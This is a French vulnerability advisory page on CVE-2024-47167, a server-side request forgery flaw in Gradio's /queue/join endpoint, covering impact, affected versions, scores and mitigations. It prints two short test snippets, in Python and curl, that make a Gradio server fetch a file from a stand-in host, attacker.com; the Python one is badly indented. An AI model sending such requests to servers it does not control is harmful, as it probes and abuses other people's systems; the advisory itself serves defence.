Plateforme
python
Composant
gradio
Corrigé dans
5.0.1
5.0.0
La vulnérabilité CVE-2024-47167 est une faille de type SSRF (Server-Side Request Forgery) affectant Gradio, une bibliothèque Python pour créer des interfaces utilisateur pour des modèles d'apprentissage automatique. Cette vulnérabilité permet à un attaquant de manipuler le serveur Gradio pour qu'il effectue des requêtes HTTP vers des URLs arbitraires, potentiellement permettant l'accès à des ressources internes ou l'exfiltration de données. Les versions de Gradio affectées sont celles inférieures ou égales à 5.0.0b9. Une correction est disponible dans la version 5.0.0.
L'impact principal de cette vulnérabilité réside dans la capacité d'un attaquant à exploiter le serveur Gradio comme un proxy pour accéder à des ressources internes qui ne sont pas directement accessibles depuis l'extérieur. En manipulant l'endpoint /queue/join, l'attaquant peut forcer le serveur à effectuer des requêtes HTTP vers des URLs contrôlées, contournant ainsi les mesures de sécurité habituelles. Cela pourrait permettre d'accéder à des services internes, de récupérer des informations sensibles, ou même d'initier des actions non autorisées sur ces services. Le stockage local du contenu des URLs ciblées aggrave le risque, car cela facilite le téléchargement de fichiers malveillants sur le serveur.
Cette vulnérabilité a été rendue publique le 2024-10-10. Il n'y a pas d'indication d'une exploitation active à ce jour, ni d'ajout au KEV (Know Exploited Vulnerabilities) de CISA. Des preuves de concept (PoC) publiques pourraient émerger, augmentant le risque d'exploitation. Surveillez les forums de sécurité et les dépôts GitHub pour de nouvelles informations.
Organizations deploying Gradio to expose machine learning models or other internal applications are at significant risk. Shared hosting environments where multiple users share the same Gradio instance are particularly vulnerable, as an attacker could potentially exploit the vulnerability to target other users' data or resources.
• python / gradio:
import requests
import urllib3
http = urllib3.PoolManager()
try:
response = http.request('GET', 'http://your-gradio-server/queue/join?url=http://attacker.com/malicious.txt')
print(response.status)
except Exception as e:
print(f"Error: {e}")• generic web:
curl -I 'http://your-gradio-server/queue/join?url=http://attacker.com/malicious.txt' | grep -i 'Location:'disclosure
Statut de l'Exploit
EPSS
0.24% (percentile 47%)
CISA SSVC
Vecteur CVSS
La mitigation principale consiste à mettre à jour Gradio vers la version 5.0.0 ou supérieure, qui corrige cette vulnérabilité. Si la mise à jour n'est pas immédiatement possible, une solution temporaire consiste à restreindre l'accès au endpoint /queue/join via un pare-feu ou un proxy inverse. Il est également recommandé de mettre en place une validation stricte des URLs autorisées à être accédées par le serveur Gradio. En cas d'utilisation d'un WAF (Web Application Firewall), configurez des règles pour bloquer les requêtes suspectes contenant des URLs malveillantes. Après la mise à jour, vérifiez que la vulnérabilité est bien corrigée en tentant d'accéder à une URL externe via l'endpoint /queue/join et en vous assurant que la requête est refusée.
Mettez à jour la bibliothèque Gradio à la version 5.0 ou supérieure. Sinon, désactivez ou restreignez les entrées basées sur URL dans votre application Gradio à des domaines de confiance. Implémentez une validation d'URL plus stricte et assurez-vous que les adresses de réseau local ou interne ne peuvent pas être demandées via le point de terminaison `/queue/join`.
Analyses de vulnérabilités et alertes critiques directement dans votre boîte mail.
CVE-2024-47167 est une vulnérabilité SSRF dans Gradio versions inférieures ou égales à 5.0.0b9, permettant à un attaquant de forcer le serveur à effectuer des requêtes HTTP vers des URLs contrôlées.
Si vous utilisez Gradio versions ≤5.0.0b9, vous êtes potentiellement affecté. Vérifiez votre version et mettez à jour si nécessaire.
Mettez à jour Gradio vers la version 5.0.0 ou supérieure. En attendant, restreignez l'accès à l'endpoint /queue/join.
À ce jour, il n'y a pas d'indication d'une exploitation active, mais des PoC pourraient émerger.
Consultez le dépôt GitHub de Gradio pour les informations officielles et les notes de version : https://github.com/gradio-app/gradio
Téléverse ton fichier de dépendances et découvre instantanément si cette CVE et d'autres te touchent.
Téléverse ton fichier requirements.txt et nous te dirons instantanément si tu es affecté.